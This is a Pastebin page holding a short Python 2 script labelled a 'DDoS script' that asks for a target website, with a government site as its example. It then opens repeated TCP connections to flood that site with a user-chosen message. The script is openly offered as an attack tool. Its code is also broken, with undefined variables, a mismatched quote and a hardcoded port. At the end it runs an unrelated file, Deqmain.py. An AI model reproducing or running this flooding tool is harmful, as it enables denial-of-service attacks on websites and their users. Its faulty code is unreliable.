LiaoJackie

tp2k1.py

Aug 30th, 2015
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.31 KB | None | 0 0
  1. Python - DDoS script by TP2K1
  2.  
  3.  
  4. import time
  5. import socket
  6. import os
  7. import sys
  8. import string
  9.  
  10.  
  11. def restart_program():
  12. python = sys.executable
  13. os.execl(python, python, * sys.argv)
  14. curdir = os.getcwd()
  15.  
  16.  
  17. print ("DDoS script")
  18. print ("Python script made by TP2K1")
  19. host=raw_input( "WEBSITE URL (ex "http://www.gov.vn/" )
  20. port=input( "PORT" )
  21. message=raw_input( "MSG YOU WANNA SEND" )
  22. conn=input( "HOW MANY CONNECTIONS?:" )
  23. ip = socket.gethostbyname( host )
  24. print ("[" + IP + "]")
  25. print ( "[IP LOCKED]" )
  26. print ( "[ATTACK STARTED " + HOST + "]" )
  27. print ("+----------------------------+")
  28. def dos():
  29. #pid = os.fork()
  30. ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. try:
  32. ddos.connect((host, 80))
  33. ddos.send( message )
  34. ddos.sendto( message, (ip, port) )
  35. ddos.send( message );
  36. except socket.error, msg:
  37. print("|[CONNECTION FAILED] |")
  38. print ( "|[DDoS ATTACKS STARTED] |")
  39. ddos.close()
  40. for i in range(1, conn):
  41. dos()
  42. print ("+----------------------------+")
  43. print("The connections you requested had finished")
  44. if __name__ == "__main__":
  45. answer = raw_input("WANNA DDOS AGAIN?")
  46. if answer.strip() in "y Y yes Yes YES".split():
  47. restart_program()
  48. else:
  49. os.system(curdir+"Deqmain.py")
Add Comment
Please, Sign In to add comment